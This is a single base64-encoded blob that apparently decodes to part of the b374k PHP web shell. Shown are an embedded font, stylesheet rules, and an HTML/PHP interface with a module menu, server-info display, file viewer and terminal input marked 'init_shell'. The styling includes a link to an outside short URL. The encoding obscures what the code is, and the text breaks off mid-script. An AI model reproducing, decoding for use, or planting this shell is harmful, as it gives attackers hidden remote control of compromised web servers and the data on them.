pqQ3JRT0p3UWNnRGpkMS8vRytkWituY2NvQWZ3RVAvWloyblR6eU5kWG55YzBEYllLNEJUd2tBVVRpZXFlK2J4OU5xajlBbnBONGV6OGNPMStIb2dlNXdWOGRLMitRaFZUOUxVSU92bmErM2U2VkZncS8vZ1krUnVKS3I1VDl4WVM3Z1BYS2U4Sy9ueVMxb2JpRTdJZlBRRVE1dnc4Q3d1Z1hwVjJITWtPMDdhZTNSbEJRZjNVL3hDUUkvZ2YvcnR4eUl1SWpTeTdjelJ0d3diMFJoT3lQZWNZY3ptUXlxNmZ4Nk9wcjVEcWRvZVRwZERwTjBycXJmMEd1RnpNK3VROFBybjV6OVdXZ0RORnZYdnhRSmtqTGtReitDaUo0NTA5a1Flai9BUGRjSEpVQUFIZ0JZMkJrQUlJelo2SU0rTy9GODl0OFpaQm5mZ0VTT2JXNmhBOUcvNC8rSDhZMGs5a095T1ZnWUFLSkFnQ01qUTA5QUFCNEFXTmdaR0JndHZzZkJpUmYvSS8rSDgwMEV5aUNDbGdBajgwRjF3QUFBSGdCVGM4eFN3SmhITWZ4YjdUazRKRFJJR1pXWEhVV1BpakJJOWx3SWVyRDBkRFVjSnh2SUZxeXdhVU0zSVVhY29zYTJ0cHVxSmZSMU56Y0MyaTMzL0FnOHVINzUzZTNQVXQvYkMvL2drSWJQaGhUd2xLZ3doY0RPY1l3WlVKR1YrdE0zeWNFdExGRUhFbkdpQVpHOVFuSllURXFGVU9OUlB0VWU0c21aV0xWbEgzcTVQV3ZxR3Q1b01lUWtCWGVhT0ZvRUVxa0hGYnBVdFVOVVZ6UkpxTERKbXVVQ1lnNTUxdDNGL2lrUVkwOTh2clRZY0FPUXlLcVRMUnVHV0c0NDU1M0hCdGtQR3NuWEZCZ2xYWDY1QmFVTUtSZTRoWFFHK1o2cXU3bGlYRzBGbFQ4S3dUck5YR0VjMFoxdkFDbkxDVXFqSG5obWk0dzVVa09PWkFiSG5tbHlDV0JibXYyTTB2L0FTOVpQZG9BQUFBQUtnQXFBQ29BS2dCbUFKSUJHQUcrQWtZRE1BTlVBN1FFQWdSbUJJd0V2QVRRQk80RkRnWEtCZ29HbEFkV0I3SUlSQWpzQ1JvS0FncVlDcTRLdWdzRUN5b0xkZ3Z3REtZTlFBM09EbHdPcmc3ZUR3b1BsQS9FRC9BUU9CQ1FFTEFSV2hHZ0VoNFNkQk1ZRTRnVVBCUmVGS3dVOGhZR0ZtUVdxaGJtRndRWEloZEFGM1FYaUJlaUdDUVltQmpzR1ZJWjdocENHdVliT2h1T0c5d2NOaHgrSE53ZExCMm9IaGdlaUI2MEgySWZzQi8rSUZvaFBpR2VJbFlpbGlNR0l4NGpqaVBtSStZa0lDU0dKTzRsV0NYQUplSW04aWNxS0F3b2pDakVLTndvNUNvQUtoUXFZaXFXS3pvcjlpd1FMRm9zaml5WUxPQXRFaTFnTFpZdC9pNmlMNFF3QWpBWU1DNHdSREJhTUg0eEVqRnNNbG95Y2pLSU1xQXl1akxRTXVZeS9ETVlNNEF6bGpPc004SXoyRFB1TkFnME9EVTJOVTQxWkRWNk5aUTFxallRTndJM0ZqY3FOejQzVWpkcU40QTRTRGpnT1BZNUNqa2VPVFk1VERsaU9YZzVranBNT21JNmRqcUtPcDQ2c2pyS093bzdvanU0Tzh3NzREdjRQQXc4aER5Y1BOUTlUajMyUGpRK2VEN0FQdFErNkQ4WVAwWS9kai9LUUJ4QWJrQ1dRTUJBNGtFQVFWNUI4RUg0UXJoRFVFZVFBQUFBQVFBQUFOb0FiZ0FPQUUwQUJBQUNBQkFBTHdCWkFBQUZwd2V2QUFJQUFYZ0JMTVkvU2dOUkZNWGgzN24zSlpQaERma3p5Q0JUQklzc3dRV2tkUXZpR3V3c0JjRWRpQzdBMmlYWWlyaUtWRllXVm1KaDVVRE9WMzNBVnRlSW93c2VmVkg1OVlOR3ZaK2M2Y292VkQzNU16cTkrbk42ZmZzTis3ajNGNnppMDI5WjVZbGZHZlBTNzZhLytHdHFIdndOVGY3NVBiV01KQ290OEFDK0dEajR3VkxoSjN1TmZtSFFyVC9qVk0vK25KMCsvSWE3a0w5Z0cyOStPLzNIcjV6bnp1K20zL2hyaG56M055enp5KzhaU3ZEZktoV3RSZzdEd1BrVS9VQ2RiSjlLWC9mbzArN0xRZnZ1eHFvVG10aUxvN0QwNzI5d2R5RUV3dDFCRVlpUlI1cUppSTdJdU9BTEJRTWllaGdFajJoeFlBaFpqOFNPUkxZakhpRTR3UkRnaUlqcnU1S2ZtUU1FQzNFZ0xzU0dua2p3aXZmNmJzeUNGK1NLVjlNMUN4MGRuWEhNbDY4eXhON2tzVDBjNU9oVFRrUG5SemxaY0NLbm9kTTBhNUFsQlMxaXZjcnIrNUpza1plYzdKdnVWQTZ1eGNiNVhKMHpjT3MvNThUaU54U1IvQWlQd2xMak12cXlOeXViZnNGYjNYYkdVRHNFTFJ5ZW1OY3VjbE9WTnkzemtKTzA3dW5mUG05ZmZsL3FMdlN3M2UxYm1McjVZV2ROVHhSMmZqd2xvSkNhSTk5bkdCR3JPbUZFbmtneDFjNVA4b0tNajcrYzBYMWJuOExxVi91aVVqUU9zMm5SSUZaODBNbVh6MW55eCtZaWdGOVYwcXFCNEF6UGlIY0wwbjYwbk9Uc2ZSUU8vSDkvRDJOYzhJeUdjYTNoRUZZcTAwM0RvVU5tMVhESTdQTGNOTmZyMVlVcU9GSFBkWGxxZmw3d3grOThNL3NINHFnTEgzZ0JYTUZEWWdNQkFBREEyYTJ0clczYnR0M0cva3crbWM4azk4d0lnV3BaaEVDOUNnS2hCbzJhTkd2UnFrMjdEcDI2ZE92UnEwKy9BWkZCUTRhTkdEVm0zSVJKVTZiTm1EVm4zb0pGUzVhdFdMVm0zWVpOVzdidDJMVm4zNEZEUjQ2ZE9IWG0zSVZMVjY3ZHVIWG4zb05IVDU2OWVQWG0zWWRQWDc3OStQWG5YMHhjUWxKS1drWldUbDVCVWFsR0VGejBBZ0FHQUFCOW4veWR1cnViYWNhWWpSTlRGemFkTTNIQWRFM2JPT3Zwcy9mRWhRZ2pHalJhMCt0UmswN3QrbzBaRFpIYTNLblg0OHUzRG4xYWJIcndhY0M0WHovK0RKdXdaOGVrZUFtNkpEcVFaTmUrRTRlT0hIdVM3TnlwTTFOU2ZPaDI1Y0tsVkMvZXRFcVhKa09XVE5rRzVjaVRLMStCSW9XS2xYaFdxbHlaQ2xVcUxSdFNvMXF0T3EvZXJiZzJiY2FOZTdkbXpWbTBaTXU4QmR1YXJkdXdHcUpDZElnSnNlRi9ISXljN0tWNW1RWUdqZ1pRMm9VbkxiKzBxTGkwSUxVb003K0l4YlcwS0I4a1kyUmthQXFpWFEzYzNNQzBtNXNMaUhZek1EQUFBRkhFY3J0NEFUV016MHJ6UUJURlo3N3dGUmRGUmFHSUVJS0ttMmJUUjRnZERMRkJhSnRlYlJwak8yclVmWW9ZRUtxV1N2M1ROb29pS0tMUUIrZ1VOOEdOdm9HdjRNN0gwRnRxTDVkN3pwemZZYlR4NTI2diswOTdtcDNUSDRPa0V2MThhUEdIK0pSK0h4aktuVDhNQ3JjWTNQalR5clZ2S0Ixc3RSRmVJYnpFOXducVJUMnBuSjhaU2hOWkExa2R1NmVZMTVBZm9oNWgzZ3ZlZzg5QTBnSmxRVC9BN0kxU3dpalI1bUdmN2NFdTgyQ0hjZGhtRmRoaVpkaGtMbXd3QjByTUJoRmhMVU1uUE55YTEvR2tGS2VUUE1VclBPU0NmL0ZZcjB5SlMxTnV4UTFkcWNqV1lKMEJXT0VxNUVNVGNtRUdzdUVLNkU0YWxwMGxLRmo0M1d1Qy9xY1JEYzFJK3M2YllpenJDTm9VaTliZ2FybVNpRFVGZ1pKVDdGUGF0aHV0RmtuTHBwQ3RvbmlSYlZNWWFMU0JPVVpENUg2Q3BHMVZKZXJmK0ZVZnQrcXJvNkhJL0lHTVN1alE0RVVkOHVyTUx6SlplMGNBKSBmb3JtYXQoJ3dvZmYnKTsKCWZvbnQtd2VpZ2h0OiBub3JtYWw7Cglmb250LXN0eWxlOiBub3JtYWw7Cn0KKnsKCWZvbnQtZmFtaWx5OnVidW50dW1vbm87CgltYXJnaW46MDsKCXBhZGRpbmc6MDsKCWJvcmRlcjowOwoJLXdlYmtpdC1ib3gtc2l6aW5nOmJvcmRlci1ib3g7CgktbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWZvbnQtc2l6ZToxMnB4OwoJZm9udC13ZWlnaHQ6bm9ybWFsOwp9CmlucHV0OmZvY3VzLCBzZWxlY3Q6Zm9jdXMsIHRleHRhcmVhOmZvY3VzLCBidXR0b246Zm9jdXN7CglvdXRsaW5lOm5vbmU7Cn0KaHRtbCwgYm9keXsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWNvbG9yOiMyMjIyMjI7Cn0KYm9keXsKCWJhY2tncm91bmQ6I2YwZjBmMDsKCWxpbmUtaGVpZ2h0OjE3cHg7Cn0KYXsKCXRleHQtZGVjb3JhdGlvbjpub25lOwoJY29sb3I6IzAwMDAwMDsKfQphOmhvdmVyewoJY3Vyc29yOnBvaW50ZXI7Cn0KcHsKCXBhZGRpbmc6OHB4IDA7Cn0KaW1newoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CnRhYmxlewoJd2lkdGg6MTAwJTsKfQp0YWJsZSB0ZCwgdGFibGUgdGh7Cgl2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7CglwYWRkaW5nOjhweDsKfQp0ZXh0YXJlYSwgaW5wdXQsIHNlbGVjdHsKCWJhY2tncm91bmQ6I2ZmZmZmZjsKCXBhZGRpbmc6OHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cgljb2xvcjojMTExMTExOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwp9CnRleHRhcmVhewoJcmVzaXplOnZlcnRpY2FsOwoJd2lkdGg6MTAwJTsKCWhlaWdodDozMDBweDsKCW1pbi1oZWlnaHQ6MzAwcHg7CgltYXgtd2lkdGg6MTAwJTsKCW1pbi13aWR0aDoxMDAlOwp9CmhyewoJbWFyZ2luOjhweCAwOwoJYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7Cn0KdmlkZW97Cgl3aWR0aDoxMDAlOwoJYmFja2dyb3VuZDojMjIyMjIyOwoJYm9yZGVyLXJhZGl1czo4cHg7Cn0KaDEsIGgyewoJYmFja2dyb3VuZDojRTdFN0U3OwoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjY2NjY2M7Cgljb2xvcjojMDAwMDAwOwoJYm9yZGVyLXJhZGl1czo4cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWN1cnNvcjpwb2ludGVyOwoJcGFkZGluZzo4cHg7CgltYXJnaW4tYm90dG9tOjhweDsKfQpoMSBhLCBoMiBhewoJY29sb3I6IzAwMDAwMDsKfQpwcmUsICN2aWV3RmlsZWNvbnRlbnR7Cgl3b3JkLWJyZWFrOmJyZWFrLWFsbDsKCXdvcmQtd3JhcDpicmVhay13b3JkOwp9CnByZXsKCXdoaXRlLXNwYWNlOnByZS13cmFwOwp9CiNiMzc0a3sKCWN1cnNvcjpwb2ludGVyOwp9CiNoZWFkZXJ7Cgl3aWR0aDoxMDAlOwoJcG9zaXRpb246Zml4ZWQ7Cn0KI2hlYWRlck5hdnsKCXBhZGRpbmc6MTBweCA4cHggNnB4IDhweDsKCWJhY2tncm91bmQ6IzMzMzMzMzsKfQojaGVhZGVyTmF2IGltZ3sKCW1hcmdpbjowIDRweDsKfQojaGVhZGVyTmF2IGF7Cgljb2xvcjojZWZlZmVmOwp9CiNtZW51ewoJYmFja2dyb3VuZDojN0M5NEE4OwoJaGVpZ2h0OjMzcHg7Cglib3JkZXItYm90dG9tOjNweCBzb2xpZCAjQ0NDRkQxOwp9CiNtZW51IC5tZW51aXRlbXsKCXBhZGRpbmc6N3B4IDEycHggNnB4IDEycHg7CglmbG9hdDpsZWZ0OwoJaGVpZ2h0OjMwcHg7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cgljb2xvcjojZmZmZmZmOwoJY3Vyc29yOnBvaW50ZXI7Cn0KI21lbnUgLm1lbnVpdGVtOmhvdmVyLCAjbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKCWJhY2tncm91bmQ6Izc2ODk5OTsKCWNvbG9yOiNmZmZmZmY7Cn0KI21lbnUgLm1lbnVpdGVtU2VsZWN0ZWR7CgliYWNrZ3JvdW5kOiM3Njg5OTk7Cn0KI2Jhc2ljSW5mb3sKCXdpZHRoOjEwMCU7CglwYWRkaW5nOjhweDsKCWJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkOwp9CiNjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJaGVpZ2h0OjEwMCU7CglwYWRkaW5nOjY2cHggOHB4IDhweCA4cHg7Cn0KI2NvbnRlbnQgLm1lbnVjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJY2xlYXI6Ym90aDsKCWRpc3BsYXk6bm9uZTsKCXBhZGRpbmc6OHB4OwoJb3ZlcmZsb3cteDphdXRvOwoJb3ZlcmZsb3cteTpoaWRkZW47Cn0KI292ZXJsYXl7Cglwb3NpdGlvbjpmaXhlZDsKCXRvcDowcHg7CglsZWZ0OjBweDsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWRpc3BsYXk6bm9uZTsKfQojbG9hZGluZ3sKCXdpZHRoOjY0cHg7CgloZWlnaHQ6NjRweDsKCWJhY2tncm91bmQ6IzdDOTRBODsKCWJvcmRlci1yYWRpdXM6MzJweCAwIDMycHggMDsKCW1hcmdpbjphdXRvOwoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CiN1bERyYWdORHJvcHsKCXBhZGRpbmc6MzJweCAwOwoJdGV4dC1hbGlnbjpjZW50ZXI7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cglib3JkZXItcmFkaXVzOjhweDsKCWNvbG9yOiNlYmViZWI7Cn0KI2Zvcm17CglkaXNwbGF5Om5vbmU7Cn0KI2RldlRpdGxlewoJYmFja2dyb3VuZDojZWJlYmViOwp9Ci5ib3h7CgltaW4td2lkdGg6NTAlOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZzo4cHggOHB4IDAgOHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cglwb3NpdGlvbjpmaXhlZDsKCWJhY2tncm91bmQ6I2ViZWJlYjsKCW9wYWNpdHk6MTsKCWJveC1zaGFkb3c6MXB4IDFweCAyNXB4ICMxNTBmMGY7CglvcGFjaXR5OjAuOTg7Cn0KLmJveHRpdGxlewoJYmFja2dyb3VuZDojZGRkZGRkOwoJYm9yZGVyOiAxcHggc29saWQgI2NjY2NjYzsKCWNvbG9yOiMwMDAwMDA7Cglib3JkZXItcmFkaXVzOjhweDsKCXRleHQtYWxpZ246Y2VudGVyOwoJY3Vyc29yOnBvaW50ZXI7Cn0KLmJveHRpdGxlIGEsIC5ib3h0aXRsZSBhOmhvdmVyewoJY29sb3I6IzAwMDAwMDsKfQouYm94Y29udGVudHsKCXBhZGRpbmc6MnB4IDAgMnB4IDA7Cn0KLmJveHJlc3VsdHsKCXBhZGRpbmc6NHB4IDEwcHggNnB4IDEwcHg7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjZGRkZGRkOwoJbWFyZ2luLXRvcDo0cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouYm94dGJsewoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYm9yZGVyLXJhZGl1czo4cHg7CglwYWRkaW5nLWJvdHRvbTo4cHg7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cn0KLmJveHRibCB0ZHsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKCXBhZGRpbmc6OHB4IDE1cHg7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm94dGJsIGlucHV0LCAuYm94dGJsIHNlbGVjdCwgLmJveHRibCAuYnV0dG9uewoJd2lkdGg6MTAwJTsKfQouYm94bGFiZWx7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZy1ib3R0b206OHB4Owp9Ci5ib3hjbG9zZXsKCWJhY2tncm91bmQ6IzIyMjIyMiB1cmwoaHR0cDovL3QuY24vUjJBMExINCk7Cglib3JkZXItcmFkaXVzOjNweDsKCW1hcmdpbi1yaWdodDo4cHg7CgltYXJnaW4tdG9wOi0zcHg7CglwYWRkaW5nOjJweCA4cHg7CgljdXJzb3I6cG9pbnRlcjsKCWNvbG9yOiNmZmZmZmY7Cn0KLnN0cm9uZ3sKCWNvbG9yOiM3Qzk0QTg7Cgl0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjQzBEQ0Y1Owp9Ci53ZWFrewoJY29sb3I6IzY2NjY2NjsKfQouYnV0dG9uewoJbWluLXdpZHRoOjEyMHB4OwoJd2lkdGg6MTIwcHg7CgltYXJnaW46MnB4OwoJY29sb3I6I2ZmZmZmZjsKCWJhY2tncm91bmQ6IzdDOTRBODsKCWJvcmRlcjpub25lOwoJcGFkZGluZzo4cHg7Cglib3JkZXItcmFkaXVzOjhweDsKCWRpc3BsYXk6YmxvY2s7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWZsb2F0OmxlZnQ7CgljdXJzb3I6cG9pbnRlcjsKfQouYnV0dG9uOmhvdmVyLCAjdWxEcmFnTkRyb3A6aG92ZXJ7CgliYWNrZ3JvdW5kOiM3Njg5OTk7Cn0KLmZsb2F0TGVmdHsKCWZsb2F0OmxlZnQ7Cn0KLmZsb2F0UmlnaHR7CglmbG9hdDpyaWdodDsKfQouY29sRml0ewoJd2lkdGg6MXB4OwogICAgd2hpdGUtc3BhY2U6bm93cmFwOwp9Ci5jb2xTcGFuewoJd2lkdGg6MTAwJTsKfQouYm9yZGVyewoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYmFja2dyb3VuZDojZWJlYmViOwoJYm9yZGVyLXJhZGl1czo4cHg7CglwYWRkaW5nOjhweDsKfQouYm9yZGVyYm90dG9tewoJYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7Cn0KLmJvcmRlcnJpZ2h0ewoJYm9yZGVyLXJpZ2h0OjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm9yZGVybGVmdHsKCWJvcmRlci1sZWZ0OjFweCBkYXNoZWQgI2RkZGRkZDsKfQouaHIgdGR7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouY0JveCwgLmNCb3hBbGx7Cgl3aWR0aDoxMHB4OwoJaGVpZ2h0OjEwcHg7Cglib3JkZXI6MXB4IHNvbGlkICM3Qzk0QTg7Cglib3JkZXItcmFkaXVzOjVweDsKCW1hcmdpbjphdXRvOwoJZmxvYXQ6bGVmdDsKCW1hcmdpbjozcHggNnB4IDJweCA2cHg7CgljdXJzb3I6cG9pbnRlcjsKfQouY0JveFNlbGVjdGVkewoJYmFja2dyb3VuZDojN0M5NEE4Owp9Ci5hY3Rpb24sIC5hY3Rpb25mb2xkZXIsIC5hY3Rpb25kb3R7CgljdXJzb3I6cG9pbnRlcjsKfQoucGhwRXJyb3J7CglwYWRkaW5nOjhweDsKCW1hcmdpbjo4cHggMDsKCXRleHQtYWxpZ246Y2VudGVyOwp9Ci5kYXRhVmlldyB0ZCwgLmRhdGFWaWV3IHRoLCAjdmlld0ZpbGUgdGR7Cgl2ZXJ0aWNhbC1hbGlnbjp0b3A7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouZGF0YVZpZXcgdGJvZHkgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cn0KLmRhdGFWaWV3IHRoewoJdmVydGljYWwtYWxpZ246bWlkZGxlOwoJYm9yZGVyLWJvdHRvbTowOwoJYmFja2dyb3VuZDojZTBlMGUwOwp9Ci5kYXRhVmlldyB0Zm9vdCB0ZHsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKfQouZGF0YVZpZXcgLmNvbC1jYm94ewoJdGV4dC1hbGlnbjpjZW50ZXI7Cgl3aWR0aDoyMHB4Owp9Ci5kYXRhVmlldyAuY29sLXNpemV7Cgl3aWR0aDo3MHB4Owp9CiN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoMyl7Cgl0ZXh0LWFsaWduOmxlZnQ7Cn0KI3hwbFRhYmxlIHRyPnRkOm50aC1jaGlsZCg0KSwjeHBsVGFibGUgdHI+dGQ6bnRoLWNoaWxkKDUpLCN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoNil7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouZGF0YVZpZXcgLmNvbC1vd25lcnsKCXdpZHRoOjE0MHB4OwoJbWluLXdpZHRoOjE0MHB4OwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRhdGFWaWV3IC5jb2wtcGVybXN7Cgl3aWR0aDo4MHB4OwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRhdGFWaWV3IC5jb2wtbW9kaWZpZWR7Cgl3aWR0aDoxNTBweDsKCXRleHQtYWxpZ246Y2VudGVyOwp9Ci5zb3J0YWJsZSB0aHsKCWN1cnNvcjpwb2ludGVyOwp9CiN4cGxUYWJsZSB0ZHsKCXdoaXRlLXNwYWNlOm5vd3JhcDsKfQojdmlld0ZpbGUgdGR7Cgl0ZXh0LWFsaWduOmxlZnQ7Cn0KI3ZpZXdGaWxlY29udGVudHsKCXBhZGRpbmc6OHB4OwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYm9yZGVyLXJhZGl1czo4cHg7Cn0KI3Rlcm1pbmFsUHJvbXB0IHRkewoJcGFkZGluZzowOwp9CiN0ZXJtaW5hbElucHV0ewoJYmFja2dyb3VuZDpub25lOwoJYm9yZGVyOm5vbmU7CglwYWRkaW5nOjA7Cgl3aWR0aDoxMDAlOwp9CiNldmFsQWRkaXRpb25hbHsKCWRpc3BsYXk6bm9uZTsKfQouaGxfZGVmYXVsdHsKCWNvbG9yOiM1MTc3OTc7Cn0KLmhsX2tleXdvcmR7Cgljb2xvcjojMDBCQjAwOwp9Ci5obF9zdHJpbmd7Cgljb2xvcjojMDAwMDAwOwp9Ci5obF9odG1sewoJY29sb3I6I0NFNTQwMzsKfQouaGxfY29tbWVudHsKCWNvbG9yOiM3RjlGN0Y7Cn0KI25hdmlnYXRpb257cG9zaXRpb246Zml4ZWQ7bGVmdDotMTZweDt0b3A6NDYlO3VybChodHRwOi8vdC5jbi9SMkEwTEg0KX0KI3RvdG9wLCN0b2JvdHRvbSwjdG9nZ2xlQmFzaWNJbmZve2JhY2tncm91bmQ6dXJsKCc8P3BocCBlY2hvIGdldF9yZXNvdXJjZSgnYXJyb3cnKTs/PicpO3dpZHRoOjMycHg7aGVpZ2h0OjMycHg7b3BhY2l0eTowLjMwO21hcmdpbjoxOHB4IDA7Y3Vyc29yOnBvaW50ZXI7fQojdG90b3A6aG92ZXIsI3RvYm90dG9tOmhvdmVye29wYWNpdHk6MC44MDt9CiN0b2dnbGVCYXNpY0luZm97ZGlzcGxheTpub25lO2Zsb2F0OnJpZ2h0O21hcmdpbjowO30KI2Jhc2ljSW5mb1NwbGl0dGVye2Rpc3BsYXk6bm9uZTt9CiN0b2JvdHRvbXstd2Via2l0LXRyYW5zZm9ybTpzY2FsZVkoLTEpOy1tb3otdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW8tdHJhbnNmb3JtOnNjYWxlWSgtMSk7dHJhbnNmb3JtOnNjYWxlWSgtMSk7ZmlsdGVyOkZsaXBWOy1tcy1maWx0ZXI6IkZsaXBWIjt9CiNzaG93aW5mb3tmbG9hdDpyaWdodDtkaXNwbGF5Om5vbmU7fQojbG9nb3V0e2Zsb2F0OnJpZ2h0O30KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPCEtLXdyYXBwZXIgc3RhcnQtLT4KPGRpdiBpZD0nd3JhcHBlcic+Cgk8IS0taGVhZGVyIHN0YXJ0LS0+Cgk8ZGl2IGlkPSdoZWFkZXInPgoJCTwhLS1oZWFkZXIgaW5mbyBzdGFydC0tPgoJCTxkaXYgaWQ9J2hlYWRlck5hdic+CgkJCTxzcGFuPjxhIG9uY2xpY2s9InNldF9jb29raWUoJ2N3ZCcsICcnKTsiIGhyZWY9Jzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nPjw/cGhwIGVjaG8gJEdMT0JBTFNbJ3RpdGxlJ10uIiAiLiRHTE9CQUxTWyd2ZXInXT8+PC9hPjwvc3Bhbj4KCQkJPGltZyBvbmNsaWNrPSd2aWV3ZmlsZW9yZm9sZGVyKCk7JyBpZD0nYjM3NGsnIHNyYz0nPD9waHAgZWNobyBnZXRfcmVzb3VyY2UoJ2IzNzRrJyk7Pz4nIC8+Jm5ic3A7PHNwYW4gaWQ9J25hdic+PD9waHAgZWNobyAkbmF2OyA/Pjwvc3Bhbj4KCgkJCTxhIGNsYXNzPSdib3hjbG9zZScgaWQ9J2xvZ291dCcgdGl0bGU9J2xvZyBvdXQnPng8L2E+CgkJCTxhIGNsYXNzPSdib3hjbG9zZScgaWQ9J3Nob3dpbmZvJyB0aXRsZT0nc2hvdyBpbmZvJz52PC9hPgoJCTwvZGl2PgoJCTwhLS1oZWFkZXIgaW5mbyBlbmQtLT4KCgkJPCEtLW1lbnUgc3RhcnQtLT4KCQk8ZGl2IGlkPSdtZW51Jz4KCQkJPD9waHAKCQkJCWZvcmVhY2goJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gYXMgJGspewoJCQkJCWVjaG8gIjxhIGNsYXNzPSdtZW51aXRlbScgaWQ9J21lbnUiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIicgaHJlZj0nIyEiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIic+Ii4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWyd0aXRsZSddLiI8L2E+IjsKCQkJCX0KCQkJPz4KCQk8L2Rpdj4KCQk8IS0tbWVudSBlbmQtLT4KCgk8L2Rpdj4KCTwhLS1oZWFkZXIgZW5kLS0+CgoJPCEtLWNvbnRlbnQgc3RhcnQtLT4KCTxkaXYgaWQ9J2NvbnRlbnQnPgoJCTwhLS1zZXJ2ZXIgaW5mbyBzdGFydC0tPgoJCTxkaXYgaWQ9J2Jhc2ljSW5mbyc+CgkJCTxkaXYgaWQ9J3RvZ2dsZUJhc2ljSW5mbyc+PC9kaXY+CgkJCTw/cGhwCgkJCWVjaG8gJGVycm9yX2h0bWw7CgkJCWZvcmVhY2goZ2V0X3NlcnZlcl9pbmZvKCkgYXMgJGs9PiR2KXsKCQkJCWVjaG8gIjxkaXY+Ii4kdi4iPC9kaXY+IjsKCQkJfQoJCQk/PgoJCTwvZGl2PgoJCTwhLS1zZXJ2ZXIgaW5mbyBlbmQtLT4KCgkJPD9waHAKCQkJZm9yZWFjaCgkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSBhcyAkayl7CgkJCQkkY29udGVudCA9ICRHTE9CQUxTWydtb2R1bGUnXVska11bJ2NvbnRlbnQnXTsKCQkJCWVjaG8gIjxkaXYgY2xhc3M9J21lbnVjb250ZW50JyBpZD0nIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInPiIuJGNvbnRlbnQuIjwvZGl2PiI7CgkJCX0KCQk/PgoJPC9kaXY+Cgk8IS0tY29udGVudCBlbmQtLT4KCjwvZGl2Pgo8IS0td3JhcHBlciBlbmQtLT4KPGRpdiBpZD0nbmF2aWdhdGlvbic+Cgk8ZGl2IGlkPSd0b3RvcCc+PC9kaXY+Cgk8ZGl2IGlkPSd0b2JvdHRvbSc+PC9kaXY+CjwvZGl2Pgo8dGFibGUgaWQ9Im92ZXJsYXkiPjx0cj48dGQ+PGRpdiBpZD0ibG9hZGluZyIgb25kYmxjbGljaz0nbG9hZGluZ19zdG9wKCk7Jz48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4KPGZvcm0gYWN0aW9uPSc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+JyBtZXRob2Q9J3Bvc3QnIGlkPSdmb3JtJyB0YXJnZXQ9J19ibGFuayc+PC9mb3JtPgo8IS0tc2NyaXB0IHN0YXJ0LS0+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KdmFyIHRhcmdldHVybCA9ICc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+JzsKdmFyIG1vZHVsZV90b19sb2FkID0gJzw/cGhwIGVjaG8gaW1wbG9kZSgiLCIsICRHTE9CQUxTWydtb2R1bGVfdG9fbG9hZCddKTs/Pic7CnZhciB3aW4gPSA8P3BocCBlY2hvIChpc193aW4oKSk/J3RydWUnOidmYWxzZSc7Pz47CnZhciBpbml0X3NoZWxsID0gdHJ1ZTsKLyogWmVwdG8gdjEuMS4yIC0gemVwdG8gZXZlbnQgYWpheCBmb3JtIGllIC0gemVwdG9qcy5jb20vbGljZW5zZSAqLwp2YXIgWmVwdG89ZnVuY3Rpb24oKXtmdW5jdGlvbiBHKGEpe3JldHVybiBhPT1udWxsP1N0cmluZyhhKTp6W0EuY2FsbChhKV18fCJvYmplY3QifWZ1bmN0aW9uIEgoYSl7cmV0dXJuIEcoYSk9PSJm